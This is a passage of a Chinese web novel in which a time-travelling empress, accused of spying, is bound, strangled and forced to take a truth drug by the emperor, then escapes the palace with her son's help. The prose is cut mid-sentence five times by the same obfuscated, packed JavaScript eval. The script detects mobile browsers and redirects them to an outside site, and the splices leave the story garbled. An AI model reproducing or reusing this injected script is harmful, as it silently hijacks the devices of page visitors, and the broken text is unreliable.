想必,彼时乌二和萧北铭的感受也是一样的,他也不好过,找个地方自己伤心去了。 苏苡安实在不知如何是好了,就去了丞相府,找魏合敬下棋,想听听他的意见。 魏合敬感慨道: “老夫虽然不懂带兵打仗,但是,也知道胜败乃兵家常事。 这不只是第一战吗?日子还长着呢。 我当年追随太上皇的时候,他也没少在南疆吃败仗。 百越很厉害的,南离在那里吃的败仗很多,这并不是最惨烈的一次。” 苏苡安问道,“最惨烈的那一次,是我外祖父带兵那一次吗?忠勇侯府满门阵亡。” 魏合敬点点头, “百越是块难啃的骨头,可是,咱们南离的帝王就喜欢迎难而上,付出牺牲也是情理之中的。” 苏苡安长叹一口气, “我若是会带兵就好了,也不至于什么忙都帮不上。” 魏合敬摇摇头, “凡事都讲究各司其职,你的位置是皇后,做好你皇后的分内事就好。” 苏苡安豁然开朗,放下了棋子,站起身来, “这盘先放这里了,我改天再来跟你下。” 苏苡安匆匆策马回宫,皇后的职责暂且不论,但是,作为一个妻子,让生闷气的丈夫两天一夜不吃不喝不睡觉,真是不够格。 今日,哪怕是暴力破门,强行投喂,也不能由着他再折磨自己了。 苏苡安亲自下厨熬了粥,然后一脚破门进入了御书房。 萧北铭目中空无地看着她,不见喜悲,只有一脸颓废。 不就是输了一仗吗?一个大男人,怎么这么脆弱呢…… 苏苡安虽然不能理解,但是尽可能地去安慰他, “夫君,先吃饭啊,再大的挫折,也要吃饱饭才有力气想办法。 大不了,咱们一起打过去,我虽然不会领兵,但是,我可以给你做一个兵。” 萧北铭腾的一下从椅子上站起来,将她打横抱起来,就往寝殿走去。 苏苡安有些哭笑不得, “你先吃饭啊!” 萧北铭基本是用扔的,把她扔到了龙榻上,然后,又从枕下摸出了一把红绸。 苏苡安蹙眉,平日里,只有她捆他的份,她从来不让捆,因为那样,她很没有安全感。 可是,今日,他心情实在不好,她心头一软,就决定让着他一回。 苏苡安没有反抗,很快就被束住了手脚。 想想平日里他对她的好,苏苡安又舒展了眉头, “放马过来吧,不过,咱们说好了,闹过以后,你就不许再生气闷气了,要好好吃饭~” 萧北铭居高临下,黑眸冷凝地看着她,一字一句道, “从现在开始,你回答我的每一句话,都必须是实话。” 苏苡安一怔,感觉他今天有点危险,笑容有点僵硬在了脸上,只是,还是轻轻说了一声: “好。” 萧北铭一张经历过煎熬的脸,充满了疲惫,而且,比之前的任何时候,都要严肃, “你到底是谁?” 苏苡安糯糯地回道, “我是你媳妇啊……” 萧北铭剑眉一蹙,俯身过去,深眸如寒潭,透出凛凛杀意, “不要跟我打哈哈,否则,你今天要吃苦头!” 苏苡安这才如梦方醒,从他的表情判定,他好像没有在跟自己闹着玩。 到底发生什么事了? 萧北铭深眸布满了红血丝,就跟蜘蛛网一样,现下,已经眼眶噙泪, “京畿营惨败,是因为我身边有细作。 我的书房,只有你能自由出入,是你,窃取了战术情报给百越!” 苏苡安震惊无比,破口大骂, “萧北铭,你有病是不是? 打仗打输了,不在自己身上找原因,竟然赖到我身上来了! 胜败乃兵家常事,接受战败就这么难吗?我可不给你被这个黑锅! 你松开我,我不陪你玩了!” 萧北铭目眦欲裂,充满了仇恨, “南离五百人的医疗兵,一到南疆就被截杀,全军覆没,所有医疗物资悉数被百越人抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422958|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走,你敢说,这里和你没关系?” 苏苡安心中一紧,长睫一颤, “真和我没关系,阿禛,你相信我啊。 我只是给那些医疗兵上课而已,其他的事,我都没过问过。 一定是有人想挑拨咱们关系,你别激动,先把事情查清楚再说。” 萧北铭喉结上下滑动,咽下了无尽痛苦, “我查了,我把安康郡主府的每一个人都拷问过了。 丁香招了,她是百越的细作,你也是,级别还比她高。” 苏苡安瞳孔震颤,只觉得天雷滚滚,字字刺耳,惊得无以复加, “她攀咬我,我要和她对峙!” 萧北铭冷道,“她已经咬舌自尽了。” 苏苡安深呼吸一口,稳了稳心神,让自己平静下来, “阿禛,我承认,刚刚我态度不好,咱们都冷静点好吗。 真的假不了,假的真不了,这事情,一定可以查清楚的,你先松开我再说。” 萧北铭不为所动,只是满眼凄凉地说, “是啊,真的假不了,假的真不了,我就怕冤枉了你,派乌二去你从前生活的道观查,挖地三尺,狠狠地查找了一番。 你猜我找到了什么?” 萧北铭的脸色,越发地阴沉,眼神里的哀伤,也越发地浓重, “院子里,找到一具白骨,仵作验明,那白骨,是一个十五六岁的女子,且死因是颈骨碎裂。 扼颈碎骨,难道不是你的绝招吗? 就像这样!” 萧北铭阴冷地说着话,抬起大手一把扼住了她的脖颈,面部变得狰狞起来, “那具白骨,才是真正的苏苡安吧?所以,你又是谁?!” 苏苡安只觉得脖颈一紧,一股痛袭来,她无法呼吸了。 可是,她的手脚都被牢牢禁锢着,她一点反抗能力都没有。 苏苡安满眼失望地盯着萧北铭狰狞可怖的脸。 这个口口声声说要永远爱她的男人,今日,竟然为了几句谗言,就要掐死她。 永远有多远? 两年罢了…… 她之前竟然还幻想有五六年,真是可笑! 第214章 过往种种,不过是你细作的手段罢了 苏苡安心头涌上一片痛楚,满目悲凉,失望地落下了两行泪: 果然,情爱会使人头脑发昏,心疼男人,会倒大霉…… 我怎么可以让他捆着我,落到现在人为刀殂我为鱼肉的地步…… 苏苡安被掐得无法呼吸,双颊憋得通红,泪水顺着她的脸颊,滑到萧北铭的大手上。 他倏尔回神,松开了手。 苏苡安白皙的脖颈,已然留下了五指红印。 她咳嗽着,同时,也开始手脚发力,想挣脱红绸的束缚,但是,这红绸实在是太结实了。 是她为了防止他挣脱,特制的。 踏马的! 彼时,乌二进来了,还端着一碗汤药。 苏苡安提鼻一嗅,刚刚被憋红的脸,瞬间就惨白了。 那是真话药水! 他竟然想用她配制的药来对付她。 当年,她晋升S级特工考核之时,尝过那药水的滋味,会给每个细胞带来十级阵痛。 苏苡安真心不想再体验那种痛楚了,她流着泪,哽咽为自己辩解, “阿禛,不要灌我那个药,有话好好说。 肯定是有人精心布局,想要陷害我。 你好好想想,以我的本事,若想杀一个人取而代之,怎么会用自己的绝招,授人以柄呢? 更不会留下尸骨让人找到,我是冤枉的……” 萧北铭看着她的泪眼,心中也十分不落忍,双眸氤氲出了泪水。 但是,转念想想她是擅长诡辩的细作,落下的每一滴眼泪都是阴谋,又把他的眼泪憋了回去,态度更加坚决起来,语气强硬道, “你若不想受苦,就老实交代一切!” 她过往的种种表现,桩桩件件,绝非常人所及。 只有从小精心培养的细作,才具备如此全面的能力。 她或许是苏家女,但是,绝对已经被敌人策反了! 苏苡安泣泪摇头,满脸痛苦, “我真的是苏苡安,我是你媳妇,你别灌我,我真的很怕疼…… 你好好想想,咱们的相识相知,我若是敌国细作,怎么可能给你解热毒?怎么可能几度想离开上京?怎么可能陪你逼宫?” 萧北铭的眼神如鹰隼一般犀利地盯着她,好似想把她看透,看穿她的心, “过往种种,不过是你身为细作的手段罢了,都是阴谋诡计。 只有这样,你才能走进我的心,你才能更好地为你的母国效力,不是吗?” 他否定了他们曾经的一切,他要对付她了,她有生命危险了! 苏苡安愤怒,伤心,恐惧,绝望,各种情绪交织,让她的内心天塌地陷一般难受。 苏苡安连连摇头,泪如雨下, “阿禛,求你了,不要灌我这个药。 我本就体寒,这个药性格外寒凉,这碗药若灌下去,我会终身不孕的。 求你了,冷静一下,不要这样对我。 你不想跟我有个孩子吗?” 萧北铭的心脏一紧,犹豫了一瞬,又心硬了起来。 她惯会撒谎装可怜,就会攻击他最在意的地方。 可是,他不会再上当了! 细作!你以为你的对手是谁,我有那么好对付吗! 萧北铭的面色又阴鸷了几分, “你这辈子,就没跟我说过一句实话! 你的每一个表情,每一句话,都是你精心设计的阴谋!” 萧北铭怒而端过了药,掰开了她的嘴,给她灌了进去。 苏苡安眼睛瞪得大大的,她实在不敢相信,这个平日里宠她入骨的男人,口口声声会永远爱她的男人,此刻,真的狠得下心灌她如此猛药。 “萧北铭,我是冤枉的,你会后悔今日如此待我……” 真话药水侵入五脏六腑,一股寒意又从脏腑冲到了身体的每一寸。 所到之处,就好像每一根毛发,都化作了犀利的冰剑,从皮肉戳进了她的骨髓。 寒凉剧痛无比! 感觉身体所有的温度和生气,都被带走了。 继而,她的脑子开始沉重了起来,连抬起眼帘的力气都没有了,浑浑噩噩之间,就听到有一个声音问她: “告诉我,你的名字。” 昏昏沉沉之中,苏苡安回忆着自己的名字。 我是苏苡安,是个特工。 好痛,好冷,好晕。 可是,我好像**。 基地被入侵,我为了保护药剂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422959|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,启动了自毁装置…… 到底是什么人啊,怎么在拷问我一个**…… 苏苡安努力地掀起眼睑,只能看到眼前一个模糊的影子。 彼时,作为一个S级特工的素养,她心坚如铁,坚不可摧: 不管是谁在拷问,我都不能开口! 基地守则第一条,誓死守护基地的秘密! 我即便是**,也不会把基地的秘密告诉地狱的厉鬼! 一个字都别想从我的嘴里撬出来! 因此,无论萧北铭问什么问题,她始终是缄默不言,一直坚持到窗外的天空泛起了鱼肚白。 彼时,萧北铭心中已经有了定论: 她是个顶尖的细作! 因为,到目前为止,还没有人能喝了真话药水,熬住一夜不开口。 就算不说话,也总是要忍不住喊疼的,可是,她连疼都不喊。 如此坚毅的心智和忍耐力,就是她给出的答案。 萧北铭的心脏一股一股地疼,痛到让他流不出一滴眼泪来了。 他们经历的一切又算什么? 他以为的刻骨铭心的相知相许,不过是一场百越细作精心策划的骗局罢了…… 乌二静静地伫立在皇上的身后,此刻,他的心情比悲伤更悲伤。 皇上好不容易遇见一个喜欢的人,却是百越的细作,百越一战,我们损兵折将,这事情没办法不计较。 他该怎么熬过这一关啊…… 该死的美人计! 萧北铭问了一夜,嗓子都喊哑了也没问出一个字,他有些破防了,倏尔捧起苏苡安的脸,狂躁地吼叫了起来, “你说话!你说话呀!” 彼时,他的手心已经感觉不到她脸颊属于人的温度,他好像是抱着一块冰。 看着她冒着冷汗的苍白脸颊,萧北铭心中一骇: 她怎么这么冰? 难道,这真的是大寒的药物吗…… 萧北铭实在无法接受她以后不能生育的事实,又是一阵心绞痛,痛得他无法挺直脊背,要勾佝偻着腰,才能勉强呼吸。 可是,个人的感情和国家的利益比起来,太小了,他必须要为在百越阵亡的将士们查一个真相! 第215章 原来我穿越的原主是北幽的护国公主 萧北铭勉力振作之后,双手撑在她的身侧,用猩红的双眸危险地注视着她,声音嘶哑地道, “很难受吧?只要你都招了,就不用再受苦了,否则,我还要再灌你一碗!” 他实在无法接受,他最爱的人,是敌国的细作,让他兵败,让全天下看了他的笑话。 他必须要狠下心来! “告诉我!你到底是谁?!不想受苦就赶快招供!” 一声声震碎耳膜的嘶哑逼供声音入耳,苏苡安也在心里问自己: 我是谁……我是谁…… 彼时,药物带来的身体极寒,激醒了苏苡安脑海最深处的记忆。 她好像回到了生长的北幽,那个一年有半年是冬季的国度。 一片混沌的脑海之中,突然冒出许多声音叫她护国公主。 一群粗犷老爷们的声音交错中,夹杂着一个中年妇人的声音,叫她遥迦。 还有一个清脆的童子音,叫她皇姐…… 在药物的作用下,许许多多的记忆碎片,在苏苡安的脑海里浮现,拼接,有关这具身体的记忆越来越多了。 她突然有了一个认知: 我是独孤遥迦,北幽的护国公主,北幽帝的皇姐。 我十三岁掌军玄铁营,为北幽开疆拓土,杀伐果断,心坚如铁。 你怎么可能从我的嘴里拷问出东西? 一个字都别想! 渐渐地,身体的极寒,让她想起来自己痛苦地在雪地里艰难爬行的情景。 当时,她好像是要去刺杀倒在雪地里的镇北王。 可是,她身子实在不爽利,连走路的力气都没有,只能爬。 她好像**了…… 至于为何会**,中什么毒,她想不起来了。 只记得她当时半路吐血,鲜血喷在雪地上,就好像是一片绽放的红梅,然后…… 然后她就什么都想不起来了…… 我有刺杀死对头成功吗? 一点都不知道了…… “你到底是谁?告诉我,你的名字!” 萧北铭的狂吼呐喊,打断了苏苡安脑海里的记忆拼接。 求知欲迫使她眯起眼睛,努力凝神,眼前影影绰绰的男人,逐渐模样清晰起来了: 是镇北王啊! 原来,我没有杀他成功,难道,我被他俘虏了吗? 苏苡安四肢动弹不得,只能微微转头,迷茫的眼神扫视了周遭: 金丝幔帐的拔步床,富丽堂皇的宫殿…… 这里可不是拷问俘虏的牢房…… 这是哪里…… 彼时,苏苡安的脑仁痛得要炸了,两种记忆在脑海里疯狂碰撞交汇,融会贯通,倏尔,她又想起来了。 我不是独孤遥迦!我不是护国公主! 我是苏苡安,我是个特工,我穿越到了她的身上而已! 原来,我穿越的原主,不是毁容沉塘的苏家姑娘,而是在雪地里毒发身亡的北幽的护国公主。 我来这个世界,比我认知的还要早……当时,是怎么回事来着…… 她头疼得很,那些记忆碎片太零散了,她一时间拼接不出来护国公主短暂的一生。 只是,看着眼前红着眼眶,发疯一样嘶吼质问他的男人,让她笑了出来,从唇角微勾,直到笑出了声: 他还真没冤枉我,我真的是个细作,还是他此生最想杀死的敌人…… 这也太好笑了! 人在无语的时候,真的很想笑啊。 此情此景,萧北铭被她笑得有些发毛,横眉竖眼地质问, “你在笑什么?” 彼时,苏苡安的头脑已经从药物的摧残中清醒了过来,她双眸氤氲出了眼泪,笑容变得凄凉又苦涩,满是真情实感地哽咽道, “萧北铭,我可怜你,真的,从来没有哪一刻,让我觉得你如此可怜。” 站在萧北铭的立场来说,他最仇恨的敌人成功潜伏到了他的身边,对他骗色骗心,随时都可以要了他的命。 天下,还有比这更操蛋的事吗…… 萧北铭眼眸震颤,声音颤抖又嘶哑, “你可怜我什么?” “我可怜你……” 苏苡安话锋一转,求生的本能让她又开启了攻心之路, “我可怜你眼盲心瞎,脑子笨,真的,你是我见过的最笨的人。 别人几句挑唆,你就要拷问和你携手并肩,从艰难险阻中一起走过来的媳妇。 我也是个可怜虫。 我们过去的一切苦涩或甜蜜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422960|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都被你说成了细作的手段。 我承认,我是有一些小聪明,但是,我从来没有用我的小聪明主动害过任何人。 我只是受到了欺负和不公,才加倍还回去而已。 明明以我的本事,在哪里都可以生活得很好,却偏偏要选择扶植一个冰冷的帝王。 我在自信什么啊? 天下的帝王都是多疑无情之人,我凭什么觉得自己会成为那个特例……” 苏苡安边说边哭,哭得肩膀都颤抖起来,美人垂泪,一脸哀戚简直痛不欲生,让人觉得,这天下找不到比她还可怜的人了,她哭这么惨,一定是全天下对不起她。 萧北铭回忆起他们的过往种种,也是心痛如刀绞,泪如雨下。 乌二一看皇上这状态,好像又要被哭服了。 这可不好啊。 女细作惯会用美人计! “皇上,你嗓子有些哑了,出去喝口茶吧?” 萧北铭双眸一阖,浓密的睫羽夹断了两行泪水,痛苦又不忍地看了苏苡安一眼,迈着沉重的脚步,转身摇摇晃晃地出了寝殿。 乌二把皇上搀扶去了自己的房间,给他倒了一杯桌子上的凉茶水。 萧北铭已经两天两夜不眠不休,滴水未进,由于上火和彻夜的时候,嗓子已经肿了起来,干哑疼痛得如同火烧,一杯凉茶下去,总算好受了一些。 他又连续喝了几杯,才镇定下来,问乌二, “你怎么看?” 乌二也是忙活了两天两夜没顾得上吃饭睡觉,彼时,给自己灌了几杯凉水提神,抿了抿干裂的唇,才说道, “皇上,以往,我给别人用真话药水的时候,一个日夜,他们都双瞳无神,招供的时候,如同喃喃呓语。 而她,天亮之前眼睛还不能聚光,是中药的症状。 然而,她却是一声不吭,疼也不喊,说明她怕开口会不自觉地招供,是她在用意志力和药效对抗。 可天亮的时候,她的眼神就聚起来了,说话嘴皮子还那么溜。 这药是她配的,我合理怀疑,她从前喝过此药,她有抗药性,药物到天亮的时候,对她就失效了。 故而,我觉得,她方才说的那番话,不可信。” 第216章 娘亲快走,不要回头 乌二的想法,竟然和他一样。 他多希望,乌二会说她刚刚讲的那番话,都是真的…… 萧北铭沉默了良久,又不死心地发问, “你拷问丁香的时候,也用的这个药吗?” 乌二摇头, “没有,这个药只剩两副了,我没舍得用。 拷问安康郡主府的那些人,我都是用的重刑。 丁香挨了五道刑罚才招供了那一点点出来。 都怪我,没想到她会咬舌,正常来讲,人是咬不断自己的舌头的。 她平时看起来娇娇弱弱的,却真正是个狼人……” “不是你的错,细作都是经过特训的,你能撬开一点点,已经不容易了……” 萧北铭阖眸隐忍了心中的痛苦,一脸浓烈的破碎感天可怜见。 乌二看皇上这副难过的样子,心里很不是滋味,又十分担心地问, “皇上,您打算怎么处置她?” 萧北铭陡然睁眼,黑瞳透着阴鸷和狠绝, “找根铁链,把她锁起来,就把她拴在朕的龙榻上,以后,她哪里都不能去!” 乌二一噎,似是不敢相信自己的耳朵: 这都不杀,皇上真真是……色迷心窍了…… 这种情况,不应该是杀无赦吗?皇上这样徇私,如何对得起在南疆阵亡的那些将士们啊。 萧北铭似是自言自语,也似是看透了乌二的心思,为自己辩解, “她是谁都好,只要她不是北幽的护国公主,朕都可以给她留一条活路。以后,朕会亲自看着她,不会再出祸事。” 乌二不能理解,且大受震惊: 果然,女人可以使人丧失理智,我可不要成亲。 我们两个人,总要有一个保持头脑清醒…… 乌二不敢置喙皇上的决定,只是一味的战术性喝水。 倏尔,他手中的杯子滑落,整个人好像突然失去了力气,双手一垂,瘫倒在了椅子里。 乌二觉得自己是突发了某种恶疾,看向萧北铭求救,可是,他张不开嘴,喉咙里也发不出一点声音。 只是眼睁睁地看到了皇上竟然和他一样,身子像突然失去了骨头一样,瘫软在了椅子上。 总不能是他们两个突发了一样的恶疾吧? 倏尔,乌二想起来了,从前,在潜邸之时,给大皇子请的教书先生,也发生过这样的症状。 那时候,都说先生是中风,好不了了,可是,过了十几天,那先生的中风竟然奇迹般地痊愈了…… 此时此刻,乌二恍然大悟: 皇上和我,**了! 躲在柜子后面的萧晏,目睹他们两个都中招了,唇角得意一勾: 软筋散的滋味,好好受着吧,这就是欺负我娘亲的下场! 萧晏蹑手蹑脚,翻窗户而出,小短腿跑得飞快。 萧晏来到了主殿的寝宫,看着被捆在床上的苏苡安,当即就泪奔了, “娘亲,我来救你了! 我在勤政殿的早餐里下了软筋散,现在父皇所有的侍卫都倒下了,还有父皇和二叔叔,他们也都倒下了。 你快走,你快走。” 萧晏爬上了龙榻,掏出袖子里的短刃,一边割断束住苏苡安手脚的红绸,一边抽泣诉说, “娘亲,你快走吧,父皇要用铁链把你锁起来。 你出去躲一阵,等真相大白了,你再回来。” 彼时,苏苡安身上的药效还没退,又冷又疼又无力,根本就坐不起来。 萧晏拖着她的头,小小的身躯拼尽全部的力气才把她扶起来半身, “娘亲,你**了吗?有解药吗?” 苏苡安无声地摇摇头。 等解药配出来,我怕是尸体都要凉透了…… 苏苡安垂眸看着自己红肿渗血的手腕,冷白无血色的嘴唇微微开启, “去把乌雅给我牵过来。” 萧晏忙说,“乌雅已经在门口了,马褡裢里有吃食和水还有很多银票。” 苏苡安会心一笑,这孩子,真贴心啊。 “等我走了,你就去寿康宫找你皇爷爷,他会护住你的。” 以太上皇的身体状况,还能活五六年,那时候,晏儿就十一二岁了,即便被发配去了边关,他也可以凭本事活下来的。 “嗯!” 萧晏满眼不舍,泪眼汪汪使劲点头, “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422961|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我相信娘亲不是细作,父皇是被猪油蒙了心了,等真相大白了,你一定要回来啊。” 苏苡安含泪点头: 对不起啊,晏儿,我又骗了你,这一别,就是永远了。 我若是能成功出皇宫,再成功出皇城,就再也不会走回头路了…… 萧晏又把手中削铁如泥的短刃塞给了她, “娘亲,这个你带着防身,一定要注意安全啊。” 苏苡安接过**,把萧晏搂入怀里,落下了两行泪: 这些年,我真的没有白疼这个孩子…… 虽然她现在触碰到萧晏,让她身体每一寸疼痛难忍,但是,她还是努力地把他抱得更紧。 这一抱,是他们这辈子最后一次相拥了,他们的母子缘分,尽了…… 萧晏努力控制住自己的眼泪水,目光坚毅地安慰她, “娘亲,你放心地走吧,我会带着我的小亲卫们,周全勤政殿的一切,让父皇的那些护卫,没那么快察觉出异样。” “嗯,晏儿长大了,可以保护娘亲了,以后,也要好好保护自己啊。” “嗯,娘亲,你放心走吧,我会护住自己的。” 初冬的天气,苏苡安裹上了她最厚的狐裘披风。 即便是这样,她也感同自己身在寒冰炼狱,每走一步,身体的就疼得像随时都要碎掉了一样。 她阖眸隐忍着身体上的巨大痛苦,吹了一记口哨,乌雅马听话跪爬在地,等待主人上鞍。 萧晏搀扶娘亲上马,声音哽咽但是充满了坚毅: “娘亲快走,不要回头,放心走,你身后有我。” 苏苡安真的就没有回头,现在,她必须马上调整好自己的情绪,不能让人看出来异常。 勤政殿外的侍卫,还不知道发生了何事,根本没有人质问皇后要去哪里。 只是,宫门口的侍卫领班刘奎拦住了她的去路,好言好语地说, “皇后娘娘,皇上有口谕,您不能出宫,请您回去吧。” 苏苡安骑在马背上,居高临下地垂眸冷睨着拦路之人, “让开!我才是你们的老大,得罪了我,你会有好果子吃吗?” 第217章 他是我儿子!我亲自生的好儿子! 苏苡安说着话,就拔出了短刃。 实际上,她现在残存的力气,也只够做到拔刀这一步。 她明白自己手中的这把宝刃,即便能削铁如泥,现下她也没力气刺破这些守卫的血肉之躯。 不知晏儿在勤政殿能拖延多久,若是被皇宫的巡查侍卫发现勤政殿的人都躺下了,那她就死定了。 此时此刻,她只能利用这个短暂的时间差,靠气势唬人。 “你们几个加一起,在我的手下都活不过十招。 今日,我就是要出宫,你们若执意阻拦,就别怪我这个做老大的翻脸无情了!” 刘奎真心犯了难,窘迫地挠了挠后脑勺,转头看看身后的几个手下。 他们一个个的,不是在抬头仰望一片云都没有的天空,就是在低头掸裤子上不存在的灰尘。 这些年,皇后老大待他们可不薄,不仅仅当他们禁军是下属,更当他们是家人。 谁家有个大事小情,皇后都会出手相助。 真可谓是一个人为皇后当差,一个家族都兴旺了起来。 今日,他们若和皇后动手,皇后兴许还会饶他们一命,但是,他们回家肯定会被媳妇挠死,被父母打死的,被兄弟鄙视死,就连家里的孩子都得对他吐口水,以后就再也没办法做人了。 与其这样,抗皇上的命令而死,还能死得轻松点。 刘奎看了看他们的表现,心中也顿悟了: 无论是抗皇命还是抗后命,他横竖都是一个死。 与其这样,还不如站在皇后这边。 因为皇后对他恩重如山。 去年,他的母亲生重病,上京城里的大夫都让准备后事了,还是皇后看他愁眉不展,主动问起来,又亲自去他家给他母亲治好了病。 天大的恩情,他若此刻对皇后拔刀,那他就不是人。 他可以死,但是,人得有人的死法,绝对不能和皇后拔刀相向,那就变畜生了。 思及此,刘奎也蹲地,系他根本就不存在的鞋带。 苏苡安收了利刃入鞘,抖了一下缰绳出了宫门。 走出宫门的那一刻,她鼻头一酸,泪目了: 没想到平日里积攒的好人缘,今日会以这种方式派上用场。 禁军兄弟,今日是我对不住你们。 希望萧北铭能看在你们曾经和他在北疆同生共死,还有从龙之功的份上,能对你们从轻发落…… 今日,我这么轻易地出了皇宫,落在萧北铭的眼里,又是细作精心算计的结果了吧? 罢了,管他怎么想呢。 出了这个宫门,以后,我的脑子里就没他这个人了。 他的一切都和我再无瓜葛! 苏苡安出了宫门,往城门方向策马急行。 听路上的几个女子抱怨说,今日不能出城了,城门口的守卫在查人。 凡是出门者,无论男女老幼,都要捏脸检查。 她们可不能让男人碰到脸。 苏苡安立即打消了易容出城的想法,易容的**,一拉扯,就露馅了。 可是,眼下又不知道晏儿能在宫里给她争取多少时间,她必须得尽快出城。 苏苡安在脑海里搜寻能帮他出城的人。 安康郡主府的人都招认了的话,那她有九成的下属都暴露了。 现下,有忠心,智商和武力值护送她出城远走高飞之人,只剩雪重楼了。 苏苡安去到了雪重楼的一处私宅。 现在时辰尚早,素颜白衣的雪重楼正在院中舞剑晨练,听见了叩门声,亲自去开门。 见到公主的脸色惨白如纸,他立即生出了危机感,什么都没说,就把人搀扶了进来,还警惕地看了后面,没有尾巴。 “主子。” 苏苡安直言不讳地问, “我惹上麻烦了,现下身子不适,还要出城,你送我出城可能会死,你还是否愿意送我一程?不用客套,说实话即可。” 雪重楼立即就明白,是公主的身份暴露了。 还好,为了应对这一日,他早有准备,也很欣慰,公主这个时候,求助的人是他。 雪重楼一脸诚挚跪地, “只要主子开口,即便是刀山火海,我也愿意护送你,生死无悔。” 城门口,守卫拦下了雪重楼的马车,先检查了赶车的车夫,又打开了马车门。 一股脂粉香扑鼻而来,而后,就看到一个惊艳绝绝的红衣美人,头戴金钗发誓,浓妆淡抹,妖冶到雌雄莫辨的程度。 守卫怔愣了一下,从高耸的喉结,分辨出他的性别。 然后就去捏他那张俊美无俦的俊脸,因为实在过于好看,被怀疑是女人易容的,扯得格外用力,就连喉结,都是拽了又拽,都拽红了,也没有拽下来。 雪重楼媚眼一扬,语气暧昧勾撩, “小哥,摸够了没有,再摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422962|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我可是要收银子了哦~” 说话间,他还用鲜红的长指甲勾了一下守卫附在他白嫩脸颊上的黝黑大手,同时,又送上了一个含情脉脉的媚眼。 这缭绕的举动,可给这还没有成家的侍卫吓得不轻,马上抽开了手,防备地拔剑,呵斥道, “你想干什么?!” 彼时,旁边的侍卫认出了雪重楼,从前,他在巡防营当差的时候,看过他选花魁的盛大场景,一脸嫌弃地说, “他就是风月街的男花魁,骚断腿,咱们离他远点,仔细被染上什么脏病。” 两个侍卫齐齐往后退步,远离了马车,吼道, “走,快走!” 正义满满的守卫对这种风月场所之人,真是嫌弃极了,生怕再闻一闻他身上的香粉味,他就要染上脏病了…… 马车出了城,雪重楼才打开了马车座椅下藏人的机关。 这个藏人的机关,做得精巧,外面看着薄薄的一层,其实,里面空间很大,苏苡安藏在里面,一点都没遭罪。 只是,现下,她一点力气都没有了,自己根本爬不出不来。 “得罪了。” 雪重楼用衣袖盖住了自己的手,把人抱了出来, “主子伤到了哪里?前面我有个农家小院,里面什么药材都有。” 苏苡安无力地靠在椅背上, “别停车,一路向北。” 就算他真的有她需要的药材,等解药完全生效也要晚上了。 再过几个时辰,自己身上的症状也能自然褪去,完全没必要耽搁这个时间。 苏苡安闭目隐忍着痛苦,心里憧憬着以后的好日子,好让身体上没那么痛。 她要去北边,接收雷明义留下的全部赃款,从此改头换面,隐姓埋名,找一个山清水秀的地方,收留一群美男子,做一个左拥右抱的快乐大美女…… 倏尔,马车一一颠簸,让苏苡安的身子剧痛一瞬,脑海里的某个记忆碎片,乍然浮现了出来。 她想起来了,她真的生过一个孩子…… “呵呵,呵呵~” 苏苡安无语到了至极,又苦笑出了声: 我真是可恶啊,我又扔了晏儿一次…… 他一个人在上京受苦,我还特么幻想过什么左拥右抱的好日子。 老子要回北幽,做回护国公主,再把晏儿抢回来! 她是我儿子!我亲自生的好儿子! 第218章 恶女竟是我自己 苏苡安笑一笑,就落下了两行泪。 难怪,她和晏儿第一次相见,就感觉心中揪痛。 那就是所谓的母子连心吧,可是,她一直都没当回事。 